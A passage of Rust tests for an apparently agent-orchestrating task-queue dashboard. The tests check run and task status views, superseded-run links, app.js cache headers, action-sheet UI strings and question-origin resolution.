25066 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
25067 assert_eq!(v["urgent"], false, "{v}");
25068 t.urgent = true;
25069 let v = serde_json::to_value(TaskView::from(t)).expect("json");
25070 assert_eq!(v["urgent"], true, "{v}");
25071 assert!(APP_JS.contains("task.urgent === true"));
25072 }
25073
25074 #[tokio::test]
25075 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
25076 let fx = Fixture::start().await;
25077 let runs = fx.runs();
25078 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25079 write_run(&runs, old, RunStatus::Blocked);
25080 write_run(&runs, new, RunStatus::Merged);
25081 let mut t = outcome_task(&[old, new], TaskStatus::Done);
25082 fx.queue().put(&mut t).expect("put");
25083
25084 let view = fx.get(&format!("/api/runs/{old}")).await.json();
25085 let task = &view["task"];
25086 assert_eq!(task["status"], "done");
25087 assert_eq!(task["is_latest"], false);
25088 assert_eq!(task["latest"]["short"], "bbbb");
25089 assert_eq!(task["finished_by"]["id"], new);
25090 assert_eq!(task["finished_by"]["outcome"], "merged");
25091 assert_eq!(task["closed_by_hand"], false);
25092 assert_eq!(view["status"], "blocked", "the run keeps its own status");
25093 assert!(APP_JS.contains("finished_by"));
25094 assert!(APP_JS.contains("superseded by run"));
25095 }
25096
25097 #[tokio::test]
25098 async fn the_latest_run_reports_a_held_task_without_a_successor() {
25099 let fx = Fixture::start().await;
25100 let runs = fx.runs();
25101 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
25102 write_run(&runs, old, RunStatus::Stalled);
25103 write_run(&runs, new, RunStatus::Blocked);
25104 let mut t = outcome_task(&[old, new], TaskStatus::Held);
25105 fx.queue().put(&mut t).expect("put");
25106
25107 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
25108 assert_eq!(task["status"], "held");
25109 assert_eq!(task["is_latest"], true);
25110 assert!(task["latest"].is_null());
25111 assert!(task["finished_by"].is_null());
25112 assert_eq!(task["closed_by_hand"], false);
25113 }
25114
25115 #[tokio::test]
25116 async fn a_direct_run_has_no_task_outcome() {
25117 let fx = Fixture::start().await;
25118 let runs = fx.runs();
25119 let id = "20260901-000000-aaaa";
25120 write_run(&runs, id, RunStatus::Blocked);
25121 let view = fx.get(&format!("/api/runs/{id}")).await.json();
25122 assert!(view["task"].is_null());
25123 }
25124
25125 #[test]
25126 fn task_outcome_does_not_guess_a_finishing_run() {
25127 let a = "20260901-000000-aaaa";
25128 let b = "20260901-000000-bbbb";
25129 let c = "20260901-000000-cccc";
25130 let dir = tempfile::tempdir().expect("tempdir");
25131 write_run(dir.path(), a, RunStatus::Blocked);
25132 write_run(dir.path(), b, RunStatus::VerifiedNoop);
25133 let read = |id: &str| read_run(dir.path(), id).ok();
25135 let t = outcome_task(&[a, b, c], TaskStatus::Done);
25138 let out = task_outcome(&t, a, 3, read);
25139 assert!(out.finished_by.is_none());
25140 assert!(out.closed_by_hand);
25141 let latest = out.latest.expect("latest");
25142 assert_eq!(latest.id, c);
25143 assert_eq!(latest.status, None);
25144 assert_eq!(latest.outcome, "record unreadable");
25145
25146 write_run(dir.path(), c, RunStatus::Ready);
25148 let t = outcome_task(&[a, c], TaskStatus::Done);
25149 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
25150 assert_eq!(out.finished_by.expect("finisher").id, c);
25151 assert!(!out.closed_by_hand);
25152
25153 let t = outcome_task(&[a, b, a], TaskStatus::Held);
25155 assert!(task_outcome(&t, a, 3, read).is_latest);
25156 }
25157
25158 #[tokio::test]
25159 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
25160 let fx = Fixture::start().await;
25165 let q = fx.queue();
25166 let runs = fx.runs();
25167 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
25168 write_run(&runs, first, RunStatus::Blocked);
25169 write_run(&runs, second, RunStatus::Merged);
25170
25171 let mut t = Task::new(
25172 "one task".to_owned(),
25173 "do it".to_owned(),
25174 PathBuf::from("/repo"),
25175 Source::Human,
25176 );
25177 t.runs = vec![first.to_owned(), second.to_owned()];
25178 q.put(&mut t).expect("put");
25179
25180 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
25181 assert_eq!(earlier["superseded_by"], "dddd");
25182 assert_eq!(earlier["latest_attempt"]["id"], second);
25183 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
25184 assert_eq!(
25185 earlier["latest_attempt"]["resolved"], true,
25186 "the run that replaced it landed, so this one reads as settled"
25187 );
25188
25189 let later = fx.get(&format!("/api/runs/{second}")).await.json();
25190 assert!(
25191 later["superseded_by"].is_null(),
25192 "the latest attempt is not superseded by anything"
25193 );
25194 assert!(
25195 later["latest_attempt"].is_null(),
25196 "the latest attempt has no later attempt of its own"
25197 );
25198
25199 assert!(APP_JS.contains("run.latest_attempt"));
25206 assert!(APP_JS.contains("data-superseded"));
25207 assert!(APP_JS.contains("#/runs/${latest.id}"));
25208 }
25209
25210 #[tokio::test]
25211 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
25212 let fx = Fixture::start().await;
25218 let q = fx.queue();
25219 let runs = fx.runs();
25220 let (a, b, c) = (
25221 "20260901-000000-aaaa",
25222 "20260901-000000-bbbb",
25223 "20260901-000000-cccc",
25224 );
25225 write_run(&runs, a, RunStatus::Blocked);
25226 write_run(&runs, b, RunStatus::Blocked);
25227 write_run(&runs, c, RunStatus::Merged);
25228
25229 let mut t = Task::new(
25230 "retried twice".to_owned(),
25231 "do it".to_owned(),
25232 PathBuf::from("/repo"),
25233 Source::Human,
25234 );
25235 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
25236 q.put(&mut t).expect("put");
25237
25238 let view = fx.get(&format!("/api/runs/{a}")).await.json();
25239 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
25240 assert_eq!(
25241 view["latest_attempt"]["id"], c,
25242 "the chain's current head, not the intermediate Blocked retry"
25243 );
25244 assert_eq!(view["latest_attempt"]["resolved"], true);
25245
25246 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
25247 assert_eq!(mid["latest_attempt"]["id"], c);
25248 assert_eq!(mid["latest_attempt"]["resolved"], true);
25249 }
25250
25251 #[tokio::test]
25252 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
25253 let fx = Fixture::start().await;
25254 let q = fx.queue();
25255 let runs = fx.runs();
25256
25257 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
25260 write_run(&runs, still_blocked_a, RunStatus::Blocked);
25261 write_run(&runs, still_blocked_b, RunStatus::Blocked);
25262 let mut t1 = Task::new(
25263 "still stuck".to_owned(),
25264 "do it".to_owned(),
25265 PathBuf::from("/repo"),
25266 Source::Human,
25267 );
25268 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
25269 q.put(&mut t1).expect("put");
25270 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
25271 assert_eq!(view1["latest_attempt"]["resolved"], false);
25272 assert_eq!(view1["latest_attempt"]["status"], "blocked");
25273 assert_eq!(view1["latest_attempt"]["done"], true);
25274
25275 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
25277 write_run(&runs, run_a, RunStatus::Blocked);
25278 write_run(&runs, run_b, RunStatus::Implementing);
25279 let mut t3 = Task::new(
25280 "retrying".to_owned(),
25281 "do it".to_owned(),
25282 PathBuf::from("/repo"),
25283 Source::Human,
25284 );
25285 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
25286 q.put(&mut t3).expect("put");
25287 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
25288 assert_eq!(view3["latest_attempt"]["id"], run_b);
25289 assert_eq!(view3["latest_attempt"]["resolved"], false);
25290 assert_eq!(view3["latest_attempt"]["done"], false);
25291
25292 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25297 write_run(&runs, noop_a, RunStatus::Blocked);
25298 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25299 let mut t2 = Task::new(
25300 "claims done".to_owned(),
25301 "do it".to_owned(),
25302 PathBuf::from("/repo"),
25303 Source::Human,
25304 );
25305 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25306 q.put(&mut t2).expect("put");
25307 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25308 assert_eq!(
25309 view2["latest_attempt"]["resolved"], false,
25310 "an unverified no-op claim must not read as a confirmed finish"
25311 );
25312
25313 assert!(APP_JS.contains("latest.resolved"));
25316 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25319 assert!(APP_JS.contains("Latest attempt: "));
25320 assert!(APP_JS.contains("in flight"));
25321 assert!(APP_JS.contains("not resolved"));
25322 }
25323
25324 #[tokio::test]
25325 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25326 let fx = Fixture::start().await;
25327 let js = fx.get("/app.js").await;
25333 assert_eq!(js.status, 200);
25334 let tag = js
25335 .header("etag")
25336 .expect("an etag to revalidate against")
25337 .to_owned();
25338 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25339 assert_eq!(
25340 js.header("cache-control"),
25341 Some("no-cache, must-revalidate"),
25342 "the phone has to ask every time"
25343 );
25344
25345 let again = fx
25348 .get_with("/app.js", &[("if-none-match", tag.as_str())])
25349 .await;
25350 assert_eq!(
25351 again.status, 304,
25352 "a deck it already has costs one round trip"
25353 );
25354 assert!(again.body.is_empty(), "304 carries no body");
25355
25356 let weak = fx
25359 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25360 .await;
25361 assert_eq!(weak.status, 304);
25362 let stale = fx
25363 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25364 .await;
25365 assert_eq!(stale.status, 200, "an older build must be replaced");
25366 assert!(stale.body.contains("renderRunActions"));
25367 }
25368
25369 #[test]
25370 fn the_task_detail_has_an_actions_fab_and_sheet() {
25371 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25372 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25373 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25374 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25376 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25377 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25379 assert!(APP_JS.contains("renderTaskActions(null);"));
25380 let (_, sheet) = APP_JS
25383 .split_once("function renderTaskActions(task) {")
25384 .expect("sheet renderer");
25385 let (body, _) = sheet
25386 .split_once("\nfunction openTaskActions() {")
25387 .expect("end of sheet renderer");
25388 assert!(body.contains("changePriority("));
25389 assert!(body.contains("openTaskEdit(task)"));
25390 assert!(body.contains("renderTaskHoldBox(host"));
25391 assert!(body.contains("renderTaskDoneBox(host"));
25392 assert!(body.contains("renderTaskDeleteBox(host"));
25393 assert!(APP_JS.contains("API.priority(id)"));
25394 assert!(APP_JS.contains("API.deleteTask(id)"));
25395 assert!(APP_JS.contains("location.hash = \"#/queue\""));
25397 assert!(APP_JS.contains("$(\"task-actions-error\")"));
25399 }
25400
25401 #[test]
25402 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25403 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25404 let actions = INDEX_HTML
25405 .find("id=\"run-actions-box\"")
25406 .expect("actions box");
25407 assert!(task < actions, "the task entry comes first in the sheet");
25408 assert!(APP_JS.contains("renderRunTaskEntry"));
25409 assert!(APP_JS.contains("\"Open task \""));
25410 assert!(APP_JS.contains("started directly, no task"));
25412 assert!(APP_JS.contains("sheet-task-link"));
25413 assert!(APP_JS.contains("task-chip-link"));
25414 }
25415
25416 #[test]
25417 fn the_deck_never_sends_the_operator_to_a_terminal() {
25418 assert!(
25421 !APP_JS.contains("Run `magi fold` first"),
25422 "the deck must offer the fold, not prescribe a shell command"
25423 );
25424 assert!(APP_JS.contains("foldRun:"));
25425 assert!(APP_JS.contains("resumeRun:"));
25426 assert!(APP_JS.contains("renderRunActions"));
25427
25428 assert!(APP_JS.contains("armedFold"));
25430 assert!(APP_JS.contains("Yes, fold worktrees"));
25431
25432 assert!(APP_JS.contains("can no longer be resumed"));
25435 }
25436
25437 #[test]
25438 fn a_finished_run_explains_itself_with_its_own_last_line() {
25439 assert!(
25445 !APP_JS.contains("collapsed on agent quota"),
25446 "a stall must not be explained by a cause the deck did not check"
25447 );
25448 assert!(
25449 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25450 "and a block must not offer a guess with an `or` in it"
25451 );
25452
25453 assert!(
25457 APP_JS.contains("setText(r.event, run.event || \"\")"),
25458 "the run's last line is rendered unconditionally"
25459 );
25460 assert!(
25461 !APP_JS.contains("moving && run.event"),
25462 "and never gated on the run still moving"
25463 );
25464
25465 assert!(APP_JS.contains("lost to quota"));
25467 }
25468
25469 #[test]
25491 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25492 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25493 let shapes_body_start =
25494 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25495 let shapes_close = APP_JS[shapes_body_start..]
25496 .find("].map(")
25497 .expect("the shape list is closed by its done-computing .map(...)")
25498 + shapes_body_start;
25499 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25500
25501 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25502 for entry in shapes_src.split('{').skip(1) {
25503 let waiting = entry.contains("waiting: true");
25504 let dead = entry.contains("live: \"dead\"");
25505 let status_at =
25506 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25507 let status_end = entry[status_at..]
25508 .find('"')
25509 .expect("the status string is closed")
25510 + status_at;
25511 let parked = entry.contains("display_status: \"parked\"");
25512 shapes.push((
25513 waiting,
25514 entry[status_at..status_end].to_string(),
25515 dead,
25516 parked,
25517 ));
25518 }
25519 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25520
25521 let done_rule_marker = "done: !";
25525 let done_rule_at = APP_JS[shapes_close..]
25526 .find(done_rule_marker)
25527 .expect("the done rule follows the shape list")
25528 + shapes_close
25529 + done_rule_marker.len();
25530 let includes_at = APP_JS[done_rule_at..]
25531 .find(".includes(shape.status)")
25532 .expect("the done rule ends in .includes(shape.status)")
25533 + done_rule_at;
25534 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25535 .trim()
25536 .trim_start_matches('[')
25537 .trim_end_matches(']')
25538 .split(',')
25539 .map(|s| s.trim().trim_matches('"'))
25540 .filter(|s| !s.is_empty())
25541 .collect();
25542
25543 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25544 .into_iter()
25545 .map(|(waiting, status, dead, parked)| {
25546 let done = !not_done.contains(&status.as_str());
25547 (waiting, status, dead, parked, done)
25548 })
25549 .collect();
25550
25551 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25555 if waiting {
25556 return "waiting";
25557 }
25558 if dead
25559 && !parked
25560 && !matches!(
25561 status,
25562 "merged"
25563 | "ready"
25564 | "stalled"
25565 | "blocked"
25566 | "failed"
25567 | "verified_noop"
25568 | "superseded"
25569 | "already_in_base"
25570 )
25571 {
25572 return "stale";
25573 }
25574 match status {
25575 "merged" | "ready" => "landed",
25576 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25577 | "already_in_base" => "ended",
25578 _ => "flight",
25579 }
25580 }
25581
25582 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25585 match filter_key {
25586 "active" => !done,
25587 "flight" => !done && !waiting && !dead,
25588 "stale" => !done && !waiting && dead,
25589 "waiting" => waiting,
25590 "done" => done,
25591 "all" => true,
25592 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25593 }
25594 }
25595
25596 let compatible = |section: &str, filter_key: &str| {
25597 shapes.iter().any(|(waiting, status, dead, parked, done)| {
25598 run_section(*waiting, status, *dead, *parked) == section
25599 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25600 })
25601 };
25602
25603 let expected = [
25608 ("waiting", [true, false, false, true, true, true]),
25609 ("stale", [true, false, true, false, false, true]),
25610 ("flight", [true, true, false, false, false, true]),
25611 ("landed", [false, false, false, false, true, true]),
25612 ("ended", [false, false, false, false, true, true]),
25613 ];
25614 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25615
25616 for (section, wants) in expected {
25617 for (filter_key, want) in filter_keys.iter().zip(wants) {
25618 assert_eq!(
25619 compatible(section, filter_key),
25620 want,
25621 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25622 );
25623 }
25624 }
25625
25626 assert!(
25629 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25630 );
25631 assert!(APP_JS.contains(
25632 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25633 ));
25634 assert!(APP_JS.contains(
25635 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25636 ));
25637 }
25638
25639 #[tokio::test]
25640 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25641 let dir = tempfile::tempdir().expect("tempdir");
25645 let explicit = dir.path().join("not-a-checkout");
25646 std::fs::create_dir_all(&explicit).expect("create dir");
25647 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25648
25649 let missing = dir.path().join("does-not-exist-at-all");
25650 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25651 }
25652
25653 #[test]
25654 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25655 assert!(APP_JS.contains("function statsDonutArcs"));
25656 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25657 assert!(APP_JS.contains("function statusInBucket"));
25659 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25660 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25661 let buckets = [
25662 "merged",
25663 "ready",
25664 "in_progress",
25665 "blocked",
25666 "failed",
25667 "verified_noop",
25668 "superseded",
25669 "stalled",
25670 ];
25671 for key in buckets {
25672 let var = format!("--verdict-{key}:");
25673 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25675 assert!(
25676 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25677 "{key}"
25678 );
25679 }
25680 }
25681
25682 #[tokio::test]
25683 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25684 let dir = tempfile::tempdir().expect("tempdir");
25685 let queue = Queue::at(dir.path().join("queue"));
25686 let talks = Talks::at(dir.path().join("talks"));
25687 std::fs::create_dir_all(queue.root()).unwrap();
25688 std::fs::create_dir_all(talks.root()).unwrap();
25689
25690 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25692 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25693
25694 let mut task = Task::new(
25696 "title".into(),
25697 "inst".into(),
25698 PathBuf::from("/repo"),
25699 Source::Human,
25700 );
25701 task.id = "20261019-123456-abcd".into();
25702 std::fs::write(
25704 queue.path_of(&task.id),
25705 serde_json::to_string(&task).unwrap(),
25706 )
25707 .unwrap();
25708
25709 let talk_id = "20261019-234567-cdef";
25710 seed_talk_at(&talks, talk_id, "open");
25711
25712 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25714 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25715
25716 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25718 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25719 }
25720
25721 #[tokio::test]
25722 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25723 let home = tempfile::tempdir().unwrap();
25724 let ui = delta_test_ui(home.path());
25725 std::fs::write(ui.queue.root(), "not a directory").unwrap();
25727 std::fs::write(ui.talks.root(), "not a directory").unwrap();
25728 assert!(
25729 questions_list(State(ui.clone()))
25730 .await
25731 .unwrap()
25732 .0
25733 .is_empty()
25734 );
25735 assert!(
25736 question_origins(State(ui.clone()))
25737 .await
25738 .unwrap()
25739 .0
25740 .is_empty()
25741 );
25742 let mut question = Question::new(
25743 "run-history".into(),
25744 "review".into(),
25745 "seat".into(),
25746 "Useful question".into(),
25747 "Useful detail".into(),
25748 vec![],
25749 );
25750 ui.questions.put(&mut question).unwrap();
25751 let core = questions_core(State(ui.clone())).await.unwrap().0;
25752 assert_eq!(core.len(), 1);
25753 assert_eq!(core[0].question.summary, "Useful question");
25754 assert!(!core[0].can_consult_chat);
25755 assert!(core[0].origin_chat.is_none());
25756 assert_eq!(core[0].record_revision, question_record_revision(&question));
25757 assert!(question_origins(State(ui.clone())).await.is_err());
25758 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25759 }
25760
25761 #[tokio::test]
25762 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
25763 let home = tempfile::tempdir().unwrap();
25764 let ui = delta_test_ui(home.path());
25765 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
25766 let mut parent = Task::new(
25767 "parent".into(),
25768 "body".into(),
25769 PathBuf::from("/repo"),
25770 Source::Agent {
25771 run: chat.clone(),
25772 node: crate::queue::CHAT_NODE.into(),
25773 },
25774 );
25775 parent.id = "parent-task".into();
25776 parent.runs = vec!["parent-run".into()];
25777 ui.queue.put(&mut parent).unwrap();
25778 let mut previous = parent;
25779 for generation in 1..=2 {
25780 let mut child = Task::new(
25781 "child".into(),
25782 "body".into(),
25783 PathBuf::from("/repo"),
25784 Source::Human,
25785 );
25786 child.id = format!("child-task-{generation}");
25787 child.runs = vec![format!("child-run-{generation}")];
25788 child.followup = Some(crate::queue::FollowUp {
25789 origin_task: Some(previous.id.clone()),
25790 run: previous.runs[0].clone(),
25791 pr: String::new(),
25792 findings: vec![],
25793 generation,
25794 });
25795 ui.queue.put(&mut child).unwrap();
25796 previous = child;
25797 }
25798 let mut collision = Task::new(
25801 "collision".into(),
25802 String::new(),
25803 PathBuf::from("/repo"),
25804 Source::Human,
25805 );
25806 collision.id = "collision-task".into();
25807 collision.runs = vec![previous.id.clone()];
25808 ui.queue.put(&mut collision).unwrap();
25809 let mut questions = Vec::new();
25810 for (node, reference, expected, eligible) in [
25811 (crate::triage::NODE, previous.id.as_str(), true, false),
25812 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25813 ("review", previous.runs[0].as_str(), true, true),
25814 (
25815 crate::bump::NOTICE_NODE,
25816 previous.runs[0].as_str(),
25817 true,
25818 false,
25819 ),
25820 ("review", previous.id.as_str(), false, false),
25822 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25823 ("review", "unrelated", false, false),
25824 ] {
25825 let mut q = Question::new(
25826 reference.into(),
25827 node.into(),
25828 "seat".into(),
25829 "Question".into(),
25830 String::new(),
25831 vec![],
25832 );
25833 ui.questions.put(&mut q).unwrap();
25834 questions.push((q, expected, eligible));
25835 }
25836 for (node, reference, associated, eligible) in [
25837 (crate::reconcile::NODE, previous.id.as_str(), true, false),
25838 (
25839 crate::reconcile::NODE,
25840 previous.runs[0].as_str(),
25841 false,
25842 true,
25843 ),
25844 ("implement", previous.id.as_str(), false, false),
25845 ] {
25846 let mut q = Question::new(
25847 reference.into(),
25848 node.into(),
25849 crate::reconcile::SEAT.into(),
25850 "Reconcile".into(),
25851 String::new(),
25852 vec![],
25853 );
25854 ui.questions.put(&mut q).unwrap();
25855 questions.push((q, associated, eligible));
25856 }
25857 let mut release = Question::new(
25858 "release-record".into(),
25859 crate::bump::NOTICE_NODE.into(),
25860 "release-watch".into(),
25861 "Release".into(),
25862 String::new(),
25863 vec![],
25864 );
25865 ui.questions.put(&mut release).unwrap();
25866 let watch = crate::release_watch::WatchState {
25867 question: Some(release.id.clone()),
25868 run: Some(previous.runs[0].clone()),
25869 held_task: Some(previous.id.clone()),
25870 ..Default::default()
25871 };
25872 let watch_dir = home.path().join("release-watch");
25873 std::fs::create_dir_all(&watch_dir).unwrap();
25874 let watch_path = watch_dir.join("watch.json");
25875 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25876 for batch in [
25878 Vec::new(),
25879 questions.iter().map(|(q, _, _)| q.clone()).collect(),
25880 ] {
25881 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25882 assert!(watches.is_empty());
25883 }
25884 questions.push((release.clone(), true, false));
25885
25886 let views = questions_list(State(ui.clone())).await.unwrap().0;
25887 let origins = question_origins(State(ui.clone())).await.unwrap().0;
25888 for (q, associated, eligible) in &questions {
25889 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25890 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25891 let expected = associated.then_some(chat.as_str());
25892 assert_eq!(
25893 view.origin_chat.as_deref(),
25894 expected,
25895 "{} {}",
25896 q.node,
25897 q.run
25898 );
25899 assert_eq!(origin.origin_chat.as_deref(), expected);
25900 assert_eq!(view.origin_chat_closed, *associated);
25901 assert_eq!(origin.origin_chat_closed, *associated);
25902 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25903 assert_eq!(origin.can_consult_chat, *eligible);
25904 }
25905 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25907 let link = crate::release_watch::WatchState {
25908 run,
25909 held_task,
25910 ..watch.clone()
25911 };
25912 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25913 let (tasks, talks, watches) =
25914 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25915 assert_eq!(
25916 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25917 .unwrap()
25918 .id,
25919 chat,
25920 );
25921 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25922 }
25923 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25924 let duplicate_path = watch_dir.join("duplicate.json");
25926 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25927 let (tasks, talks, watches) =
25928 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25929 assert!(
25930 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25931 .is_none()
25932 );
25933 std::fs::remove_file(duplicate_path).unwrap();
25934 let mut unrelated = Task::new(
25936 "other".into(),
25937 String::new(),
25938 PathBuf::from("/repo"),
25939 Source::Human,
25940 );
25941 unrelated.id = "unrelated-task".into();
25942 ui.queue.put(&mut unrelated).unwrap();
25943 let mut conflicting = watch.clone();
25944 conflicting.held_task = Some(unrelated.id);
25945 std::fs::write(
25946 watch_dir.join("conflict.json"),
25947 serde_json::to_vec(&conflicting).unwrap(),
25948 )
25949 .unwrap();
25950 let (tasks, talks, watches) =
25951 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25952 assert!(
25953 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25954 .is_none()
25955 );
25956 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25957 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25958 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25959 assert!(origin.origin_chat.is_none());
25960 assert!(!origin.origin_chat_closed);
25961 }
25962 }
25963
25964 #[test]
25965 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25966 let home = tempfile::tempdir().unwrap();
25967 let ui = delta_test_ui(home.path());
25968 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25969 for i in 0..1000 {
25970 let mut task = Task::new(
25971 "unrelated".into(),
25972 "instruction ".repeat(256),
25973 PathBuf::from("/repo"),
25974 Source::Human,
25975 );
25976 task.id = format!("history-{i:04}");
25977 ui.queue.put(&mut task).unwrap();
25978 let id = seed_talk_at(&ui.talks, &task.id, "open");
25979 let mut talk = ui.talks.get(&id).unwrap();
25980 talk.pending = "history ".repeat(256);
25981 ui.talks.put(&mut talk).unwrap();
25982 }
25983 let mut parent = Task::new(
25984 "parent".into(),
25985 "body".into(),
25986 PathBuf::from("/repo"),
25987 Source::Agent {
25988 run: chat_id.clone(),
25989 node: crate::queue::CHAT_NODE.into(),
25990 },
25991 );
25992 parent.id = "task-parent".into();
25993 parent.runs = vec!["run-parent".into()];
25994 ui.queue.put(&mut parent).unwrap();
25995 let mut child = Task::new(
25996 "child".into(),
25997 "body".into(),
25998 PathBuf::from("/repo"),
25999 Source::Human,
26000 );
26001 child.id = "task-child".into();
26002 child.runs = vec!["run-child".into()];
26003 child.followup = Some(crate::queue::FollowUp {
26004 run: "run-parent".into(),
26005 origin_task: Some(parent.id.clone()),
26006 pr: "https://example.invalid/pr/1".into(),
26007 findings: vec![],
26008 generation: 1,
26009 });
26010 ui.queue.put(&mut child).unwrap();
26011 let mut question = Question::new(
26012 child.id.clone(),
26013 crate::conduct::NODE.into(),
26014 "seat".into(),
26015 "Continue?".into(),
26016 String::new(),
26017 vec![],
26018 );
26019 let (tasks, talks, _watches) =
26020 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
26021 assert_eq!(tasks.len(), 2);
26022 assert_eq!(talks.len(), 1);
26023 assert_eq!(
26024 ui.monitor.queue_index.lock().unwrap().reparsed,
26025 0,
26026 "exact ancestry bypasses the index"
26027 );
26028 assert_eq!(
26029 crate::consult::origin_talk(&tasks, &talks, &question)
26030 .unwrap()
26031 .id,
26032 chat_id
26033 );
26034 question.run = "run-child".into();
26035 question.node = "review".into();
26036 for origin_task in [Some(parent.id.clone()), None] {
26037 child.followup.as_mut().unwrap().origin_task = origin_task;
26038 ui.queue.put(&mut child).unwrap();
26039 let (tasks, talks, _watches) =
